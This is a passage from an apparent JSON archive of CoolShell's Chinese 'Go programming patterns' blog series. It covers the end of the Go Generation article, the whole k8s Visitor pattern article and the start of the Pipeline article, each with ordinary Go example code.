(%T)\\n\", v, v)\n}</pre>\n<p>其中，</p>\n<ul>\n<li>第一个注释是生成包名为 <code>gen</code> 类型为 <code>uint32</code> 目标文件名以 <code>container</code> 为后缀</li>\n<li>第二个注释是生成包名为 <code>gen</code> 类型为 <code>string</code> 目标文件名以 <code>container</code> 为后缀</li>\n</ul>\n<p>然后，在工程目录中直接执行 <code> go generate</code> 命令，就会生成如下两份代码，</p>\n<p>一份文件名为<code>uint32_container.go</code></p>\n<pre class=\"EnlighterJSRAW\">package gen\n\ntype Uint32Container struct {\n    s []uint32\n}\nfunc NewUint32Container() *Uint32Container {\n    return &amp;Uint32Container{s: []uint32{}}\n}\nfunc (c *Uint32Container) Put(val uint32) {\n    c.s = append(c.s, val)\n}\nfunc (c *Uint32Container) Get() uint32 {\n    r := c.s[0]\n    c.s = c.s[1:]\n    return r\n}</pre>\n<p>另一份的文件名为 <code>string_container.go</code></p>\n<pre class=\"EnlighterJSRAW\">package gen\n\ntype StringContainer struct {\n    s []string\n}\nfunc NewStringContainer() *StringContainer {\n    return &amp;StringContainer{s: []string{}}\n}\nfunc (c *StringContainer) Put(val string) {\n    c.s = append(c.s, val)\n}\nfunc (c *StringContainer) Get() string {\n    r := c.s[0]\n    c.s = c.s[1:]\n    return r\n}\n</pre>\n<p>这两份代码可以让我们的代码完全编译通过，所付出的代价就是需要多执行一步 <code>go generate</code> 命令。</p>\n<h4>新版Filter</h4>\n<p>现在我们再回头看看我们之前《<a href=\"https://coolshell.cn/articles/21164.html\" rel=\"noopener\" target=\"_blank\">Go编程模式：Map-Reduce</a>》中的那些个用反射整出来的例子，有了这样的技术，我就不必在代码里用那些晦涩难懂的反射来做运行时的类型检查了。我们可以写下很干净的代码，让编译器在编译时检查类型对不对。下面是一个Fitler的模板文件 <code>filter.tmp.go</code>：</p>\n<pre class=\"EnlighterJSRAW\">package PACKAGE_NAME\n\ntype GENERIC_NAMEList []GENERIC_TYPE\n\ntype GENERIC_NAMEToBool func(*GENERIC_TYPE) bool\n\nfunc (al GENERIC_NAMEList) Filter(f GENERIC_NAMEToBool) GENERIC_NAMEList {\n    var ret GENERIC_NAMEList\n    for _, a := range al {\n        if f(&amp;a) {\n            ret = append(ret, a)\n        }\n    }\n    return ret\n}\n</pre>\n<p>于是我们可在需要使用这个的地方，加上相关的 go generate 的注释</p>\n<pre class=\"EnlighterJSRAW\">type Employee struct {\n  Name     string\n  Age      int\n  Vacation int\n  Salary   int\n}\n\n//go:generate ./gen.sh ./template/filter.tmp.go gen Employee filter\nfunc filterEmployeeExample() {\n\n  var list = EmployeeList{\n    {\"Hao\", 44, 0, 8000},\n    {\"Bob\", 34, 10, 5000},\n    {\"Alice\", 23, 5, 9000},\n    {\"Jack\", 26, 0, 4000},\n    {\"Tom\", 48, 9, 7500},\n  }\n\n  var filter EmployeeList\n  filter = list.Filter(func(e *Employee) bool {\n    return e.Age &gt; 40\n  })\n\n  fmt.Println(\"----- Employee.Age &gt; 40 ------\")\n  for _, e := range filter {\n    fmt.Println(e)\n  }\n\n  filter = list.Filter(func(e *Employee) bool {\n    return e.Salary &lt;= 5000\n  })\n\n  fmt.Println(\"----- Employee.Salary &lt;= 5000 ------\")\n  for _, e := range filter {\n    fmt.Println(e)\n  }\n}</pre>\n<h4>第三方工具</h4>\n<p>我们并不需要自己手写 <code>gen.sh</code> 这样的工具类，已经有很多第三方的已经写好的可以使用。下面是一个列表：</p>\n<ul>\n<li>Genny –  <a href=\"https://github.com/cheekybits/genny\">https://github.com/cheekybits/genny</a></li>\n<li>Generic – <a href=\"https://github.com/taylorchu/generic\">https://github.com/taylorchu/generic</a></li>\n<li>GenGen – <a href=\"https://github.com/joeshaw/gengen\">https://github.com/joeshaw/gengen</a></li>\n<li>Gen – <a href=\"https://github.com/clipperhouse/gen\">https://github.com/clipperhouse/gen</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21146.html\"><img alt=\"Go 编程模式：Functional Options\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.options-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-12-26 Go 编程模式：k8s Visitor 模式.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-21270\" height=\"300\" src=\"../wp-content/uploads/2020/12/go.k8s-265x300.png\" width=\"265\"/>本篇文章主要想讨论一下，Kubernetes 的 <code>kubectl</code> 命令中的使用到到的一个编程模式 – Visitor（注：其实，<code>kubectl</code> 主要使用到了两个一个是Builder，另一个是Visitor）。本来，Visitor 是面向对象设计模英中一个很重要的设计模款（参看Wikipedia<a href=\"https://en.wikipedia.org/wiki/Visitor_pattern\" rel=\"noopener\" target=\"_blank\"> Visitor Pattern词条</a>），这个模式是一种将算法与操作对象的结构分离的一种方法。这种分离的实际结果是能够在不修改结构的情况下向现有对象结构添加新操作，是遵循开放/封闭原则的一种方法。这篇文章我们重点看一下 <code>kubelet</code> 中是怎么使用函数式的方法来实现这个模式的。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第9 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go 编程模式：k8s Visitor 模式</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">« <a href=\"https://coolshell.cn/articles/21228.html\" rel=\"prev\" title=\"Go编程模式：Pipeline\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21615.html\" rel=\"next\" title=\"Go编程模式 ： 泛型编程\">下一篇文章</a> »</span></nav></section>\n<h4>一个简单示例</h4>\n<p>我们还是先来看一个简单设计模式的Visitor的示例。</p>\n<ul>\n<li>我们的代码中有一个<code>Visitor</code>的函数定义，还有一个<code>Shape</code>接口，其需要使用 <code>Visitor</code>函数做为参数。</li>\n<li>我们的实例的对象 <code>Circle</code>和 <code>Rectangle</code>实现了 <code>Shape</code> 的接口的 <code>accept()</code> 方法，这个方法就是等外面给我传递一个Visitor。</li>\n</ul>\n<p><span id=\"more-21263\"></span></p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport (\n    \"encoding/json\"\n    \"encoding/xml\"\n    \"fmt\"\n)\n\ntype Visitor func(shape Shape)\n\ntype Shape interface {\n    accept(Visitor)\n}\n\ntype Circle struct {\n    Radius int\n}\n\nfunc (c Circle) accept(v Visitor) {\n    v(c)\n}\n\ntype Rectangle struct {\n    Width, Heigh int\n}\n\nfunc (r Rectangle) accept(v Visitor) {\n    v(r)\n}\n</pre>\n<p>然后，我们实现两个Visitor，一个是用来做JSON序列化的，另一个是用来做XML序列化的</p>\n<pre class=\"EnlighterJSRAW\">func JsonVisitor(shape Shape) {\n    bytes, err := json.Marshal(shape)\n    if err != nil {\n        panic(err)\n    }\n    fmt.Println(string(bytes))\n}\n\nfunc XmlVisitor(shape Shape) {\n    bytes, err := xml.Marshal(shape)\n    if err != nil {\n        panic(err)\n    }\n    fmt.Println(string(bytes))\n}\n</pre>\n<p>下面是我们的使用Visitor这个模式的代码</p>\n<pre class=\"EnlighterJSRAW\">func main() {\n  c := Circle{10}\n  r :=  Rectangle{100, 200}\n  shapes := []Shape{c, r}\n\n  for _, s := range shapes {\n    s.accept(JsonVisitor)\n    s.accept(XmlVisitor)\n  }\n\n}</pre>\n<p>其实，这段代码的目的就是想解耦 数据结构和 算法，使用 Strategy 模式也是可以完成的，而且会比较干净。<strong>但是在有些情况下，多个Visitor是来访问一个数据结构的不同部分，这种情况下，数据结构有点像一个数据库，而各个Visitor会成为一个个小应用。</strong> <code>kubectl</code>就是这种情况。</p>\n<h4>k8s相关背景</h4>\n<p>接下来，我们再来了解一下相关的知识背景：</p>\n<ul>\n<li>对于Kubernetes，其抽象了很多种的Resource，比如：Pod, ReplicaSet, ConfigMap, Volumes, Namespace, Roles …. 种类非常繁多，这些东西构成为了Kubernetes的数据模型（点击 <a href=\"https://github.com/kubernauts/practical-kubernetes-problems/blob/master/images/k8s-resources-map.png\" rel=\"noopener\" target=\"_blank\">Kubernetes Resources 地图</a> 查看其有多复杂）</li>\n<li><code>kubectl</code> 是Kubernetes中的一个客户端命令，操作人员用这个命令来操作Kubernetes。<code>kubectl</code> 会联系到 Kubernetes 的API Server，API Server会联系每个节点上的 <code>kubelet</code> ，从而达到控制每个结点。</li>\n<li><code>kubectl</code> 主要的工作是处理用户提交的东西（包括，命令行参数，yaml文件等），然后其会把用户提交的这些东西组织成一个数据结构体，然后把其发送给 API Server。</li>\n<li>相关的源代码在 <code>src/k8s.io/cli-runtime/pkg/resource/visitor.go</code> 中（<a href=\"https://github.com/kubernetes/kubernetes/blob/cea1d4e20b4a7886d8ff65f34c6d4f95efcb4742/staging/src/k8s.io/cli-runtime/pkg/resource/visitor.go\" rel=\"noopener\" target=\"_blank\">源码链接</a>）</li>\n</ul>\n<p><code>kubectl</code> 的代码比较复杂，不过，其本原理简单来说，<strong>它从命令行和yaml文件中获取信息，通过Builder模式并把其转成一系列的资源，最后用 Visitor 模式模式来迭代处理这些Reources</strong>。</p>\n<p>下面我们来看看 <code>kubectl</code> 的实现，为了简化，我用一个小的示例来表明 ，而不是直接分析复杂的源码。</p>\n<h4>kubectl的实现方法</h4>\n<h5>Visitor模式定义</h5>\n<p>首先，<code>kubectl</code> 主要是用来处理 <code>Info</code>结构体，下面是相关的定义：</p>\n<pre class=\"EnlighterJSRAW\">type VisitorFunc func(*Info, error) error\n\ntype Visitor interface {\n    Visit(VisitorFunc) error\n}\n\ntype Info struct {\n    Namespace   string\n    Name        string\n    OtherThings string\n}\nfunc (info *Info) Visit(fn VisitorFunc) error {\n  return fn(info, nil)\n}</pre>\n<p>我们可以看到，</p>\n<ul>\n<li>有一个 <code>VisitorFunc</code> 的函数类型的定义</li>\n<li>一个 <code>Visitor</code> 的接口，其中需要 <code>Visit(VisitorFunc) error</code>  的方法（这就像是我们上面那个例子的 <code>Shape</code> ）</li>\n<li>最后，为<code>Info</code> 实现 <code>Visitor</code> 接口中的 <code>Visit()</code> 方法，实现就是直接调用传进来的方法（与前面的例子相仿）</li>\n</ul>\n<p>我们再来定义几种不同类型的 Visitor。</p>\n<h5>Name Visitor</h5>\n<p>这个Visitor 主要是用来访问 <code>Info</code> 结构中的 <code>Name</code> 和 <code>NameSpace</code> 成员</p>\n<pre class=\"EnlighterJSRAW\">type NameVisitor struct {\n  visitor Visitor\n}\n\nfunc (v NameVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    fmt.Println(\"NameVisitor() before call function\")\n    err = fn(info, err)\n    if err == nil {\n      fmt.Printf(\"==&gt; Name=%s, NameSpace=%s\\n\", info.Name, info.Namespace)\n    }\n    fmt.Println(\"NameVisitor() after call function\")\n    return err\n  })\n}</pre>\n<p>我们可以看到，上面的代码：</p>\n<ul>\n<li>声明了一个 <code>NameVisitor</code> 的结构体，这个结构体里有一个 <code>Visitor</code> 接口成员，这里意味着多态。</li>\n<li>在实现 <code>Visit()</code> 方法时，其调用了自己结构体内的那个 <code>Visitor</code>的 <code>Visitor()</code> 方法，这其实是一种修饰器的模式，用另一个Visitor修饰了自己（关于修饰器模式，参看《<a href=\"https://coolshell.cn/articles/17929.html\" rel=\"noopener\" target=\"_blank\" title=\"Go编程模式：修饰器\">Go编程模式：修饰器</a>》）</li>\n</ul>\n<h5>Other Visitor</h5>\n<p>这个Visitor主要用来访问 <code>Info</code> 结构中的 <code>OtherThings</code> 成员</p>\n<pre class=\"EnlighterJSRAW\">type OtherThingsVisitor struct {\n  visitor Visitor\n}\n\nfunc (v OtherThingsVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    fmt.Println(\"OtherThingsVisitor() before call function\")\n    err = fn(info, err)\n    if err == nil {\n      fmt.Printf(\"==&gt; OtherThings=%s\\n\", info.OtherThings)\n    }\n    fmt.Println(\"OtherThingsVisitor() after call function\")\n    return err\n  })\n}</pre>\n<p>实现逻辑同上，我就不再重新讲了</p>\n<h5>Log Visitor</h5>\n<pre class=\"EnlighterJSRAW\">type LogVisitor struct {\n  visitor Visitor\n}\n\nfunc (v LogVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    fmt.Println(\"LogVisitor() before call function\")\n    err = fn(info, err)\n    fmt.Println(\"LogVisitor() after call function\")\n    return err\n  })\n}</pre>\n<h5>使用方代码</h5>\n<p>现在我们看看如果使用上面的代码：</p>\n<pre class=\"EnlighterJSRAW\">func main() {\n  info := Info{}\n  var v Visitor = &amp;info\n  v = LogVisitor{v}\n  v = NameVisitor{v}\n  v = OtherThingsVisitor{v}\n\n  loadFile := func(info *Info, err error) error {\n    info.Name = \"Hao Chen\"\n    info.Namespace = \"MegaEase\"\n    info.OtherThings = \"We are running as remote team.\"\n    return nil\n  }\n  v.Visit(loadFile)\n}</pre>\n<p>上面的代码，我们可以看到</p>\n<ul>\n<li>Visitor们一层套一层</li>\n<li>我用 <code>loadFile</code> 假装从文件中读如数据</li>\n<li>最后一条 <code>v.Visit(loadfile)</code> 我们上面的代码就全部开始激活工作了。</li>\n</ul>\n<p>上面的代码输出如下的信息，你可以看到代码的执行顺序是怎么执行起来了</p>\n<pre class=\"EnlighterJSRAW\">LogVisitor() before call function\nNameVisitor() before call function\nOtherThingsVisitor() before call function\n==&gt; OtherThings=We are running as remote team.\nOtherThingsVisitor() after call function\n==&gt; Name=Hao Chen, NameSpace=MegaEase\nNameVisitor() after call function\nLogVisitor() after call function</pre>\n<p>我们可以看到，上面的代码有以下几种功效：</p>\n<ul>\n<li>解耦了数据和程序。</li>\n<li>使用了修饰器模式</li>\n<li>还做出来pipeline的模式</li>\n</ul>\n<p>所以，其实，我们是可以把上面的代码重构一下的。</p>\n<h5>Visitor修饰器</h5>\n<p>下面，我们用<a href=\"https://coolshell.cn/articles/17929.html\" rel=\"noopener\" target=\"_blank\" title=\"Go编程模式：修饰器\">修饰器模式</a>来重构一下上面的代码。</p>\n<pre class=\"EnlighterJSRAW\">type DecoratedVisitor struct {\n  visitor    Visitor\n  decorators []VisitorFunc\n}\n\nfunc NewDecoratedVisitor(v Visitor, fn ...VisitorFunc) Visitor {\n  if len(fn) == 0 {\n    return v\n  }\n  return DecoratedVisitor{v, fn}\n}\n\n// Visit implements Visitor\nfunc (v DecoratedVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    if err != nil {\n      return err\n    }\n    if err := fn(info, nil); err != nil {\n      return err\n    }\n    for i := range v.decorators {\n      if err := v.decorators[i](info, nil); err != nil {\n        return err\n      }\n    }\n    return nil\n  })\n}</pre>\n<p>上面的代码并不复杂，</p>\n<ul>\n<li>用一个 <code>DecoratedVisitor</code> 的结构来存放所有的<code>VistorFunc</code>函数</li>\n<li><code>NewDecoratedVisitor</code> 可以把所有的 <code>VisitorFunc</code>转给它，构造 <code>DecoratedVisitor</code> 对象。</li>\n<li><code>DecoratedVisitor</code>实现了 <code>Visit()</code> 方法，里面就是来做一个for-loop，顺着调用所有的 <code>VisitorFunc</code></li>\n</ul>\n<p>于是，我们的代码就可以这样运作了：</p>\n<pre class=\"EnlighterJSRAW\">info := Info{}\nvar v Visitor = &amp;info\nv = NewDecoratedVisitor(v, NameVisitor, OtherVisitor)\n\nv.Visit(LoadFile)</pre>\n<p>是不是比之前的那个简单？注意，这个<code>DecoratedVisitor</code> 同样可以成为一个Visitor来使用。</p>\n<p>好，上面的这些代码全部存在于 <code>kubectl</code> 的代码中，你看懂了这里面的代码逻辑，相信你也能够看懂 <code>kubectl</code> 的代码了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21146.html\"><img alt=\"Go 编程模式：Functional Options\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.options-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-12-26 Go编程模式：Pipeline.html",
    "content": "<html><body><p><img alt=\"\" class=\"aligncenter wp-image-21258 size-large\" height=\"119\" src=\"../wp-content/uploads/2020/12/go.line_.-1024x191.png\" width=\"640\"/></p>\n<p>本篇文章，我们着重介绍Go编程中的Pipeline模式。对于Pipeline用过Unix/Linux命令行的人都不会陌生，他是一种把各种命令拼接起来完成一个更强功能的技术方法。在今天，流式处理，函数式编程，以及应用网关对微服务进行简单的API编排，其实都是受pipeline这种技术方式的影响，Pipeline这种技术在可以很容易的把代码按单一职责的原则拆分成多个高内聚低耦合的小模块，然后可以很方便地拼装起来去完成比较复杂的功能。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第8 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式：Pipeline</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">« <a href=\"https://coolshell.cn/articles/17929.html\" rel=\"prev\" title=\"Go编程模式：修饰器\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21263.html\" rel=\"next\" title=\"Go 编程模式：k8s Visitor 模式\">下一篇文章</a> »</span></nav></section>\n<h4>HTTP 处理</h4>\n<p>这种Pipeline的模式，我们在《<a href=\"https://coolshell.cn/articles/17929.html\" rel=\"noopener\" target=\"_blank\" title=\"Go编程模式：修饰器\">Go编程模式：修饰器</a>》中有过一个示例，我们在这里再重温一下。在那篇文章中，我们有一堆如 <code>WithServerHead()</code> 、<code>WithBasicAuth()</code> 、<code>WithDebugLog()</code>这样的小功能代码，在我们需要实现某个HTTP API 的时候，我们就可以很容易的组织起来。</p>\n<p>原来的代码是下面这个样子：</p>\n<p><span id=\"more-21228\"></span></p>\n<pre class=\"EnlighterJSRAW\">http.HandleFunc(\"/v1/hello\", WithServerHeader(WithAuthCookie(hello)))\nhttp.HandleFunc(\"/v2/hello\", WithServerHeader(WithBasicAuth(hello)))\nhttp.HandleFunc(\"/v3/hello\", WithServerHeader(WithBasicAuth(WithDebugLog(hello))))</pre>\n<p>通过一个代理函数：</p>\n<pre class=\"EnlighterJSRAW\">type HttpHandlerDecorator func(http.HandlerFunc) http.HandlerFunc\nfunc Handler(h http.HandlerFunc, decors ...HttpHandlerDecorator) http.HandlerFunc {\n    for i := range decors {\n        d := decors[len(decors)-1-i] // iterate in reverse\n        h = d(h)\n    }\n    return h\n}</pre>\n<p>我们就可以移除不断的嵌套像下面这样使用了：</p>\n<pre class=\"EnlighterJSRAW\">http.HandleFunc(\"/v4/hello\", Handler(hello,\n                WithServerHeader, WithBasicAuth, WithDebugLog))</pre>\n<h4>Channel 管理</h4>\n<p>当然，如果你要写出一个<a href=\"https://coolshell.cn/articles/17929.html#%E6%B3%9B%E5%9E%8B%E7%9A%84%E4%BF%AE%E9%A5%B0%E5%99%A8\" rel=\"noopener\" target=\"_blank\">泛型的pipeline框架</a>并不容易，而使用<a href=\"https://coolshell.cn/articles/21179.html\" rel=\"noopener\" target=\"_blank\" title=\"GO 编程模式：Go Generation\">Go Generation</a>，但是，我们别忘了Go语言最具特色的 Go Routine 和 Channel 这两个神器完全也可以被我们用来构造这种编程。</p>\n<p>Rob Pike在 <a href=\"https://blog.golang.org/pipelines\" rel=\"noopener\" target=\"_blank\">Go Concurrency Patterns: Pipelines and cancellation</a> 这篇blog中介绍了如下的一种编程模式。</p>\n<h5>Channel转发函数</h5>\n<p>首先，我们需一个 <code>echo()</code>函数，其会把一个整型数组放到一个Channel中，并返回这个Channel</p>\n<pre class=\"EnlighterJSRAW\">func echo(nums []int) &lt;-chan int {\n  out := make(chan int)\n  go func() {\n    for _, n := range nums {\n      out &lt;- n\n    }\n    close(out)\n  }()\n  return out\n}</pre>\n<p>然后，我们依照这个模式，我们可以写下这个函数。</p>\n<h5>平方函数</h5>\n<pre class=\"EnlighterJSRAW\">func sq(in &lt;-chan int) &lt;-chan int {\n  out := make(chan int)\n  go func() {\n    for n := range in {\n      out &lt;- n * n\n    }\n    close(out)\n  }()\n  return out\n}\n</pre>\n<h5>过滤奇数函数</h5>\n<pre class=\"EnlighterJSRAW\">func odd(in &lt;-chan int) &lt;-chan int {\n  out := make(chan int)\n  go func() {\n    for n := range in {\n      if n%2 != 0 {\n        out &lt;- n\n      }\n    }\n    close(out)\n  }()\n  return out\n}\n</pre>\n<h5>求和函数</h5>\n<pre class=\"EnlighterJSRAW\">func sum(in &lt;-chan int) &lt;-chan int {\n  out := make(chan int)\n  go func() {\n    var sum = 0\n    for n := range in {\n      sum += n\n    }\n    out &lt;- sum\n    close(out)\n  }()\n  return out\n}</pre>\n<p>然后，我们的用户端的代码如下所示：（注：<strong>你可能会觉得，<code>sum()</code>，<code>odd()</code> 和 <code>sq()</code>太过于相似。你其实可以通过我们之前的<a href=\"https://coolshell.cn/articles/21164.html\" rel=\"noopener\" target=\"_blank\">Map/Reduce编程模式</a>或是<a href=\"https://coolshell.cn/articles/21179.html\" rel=\"noopener\" 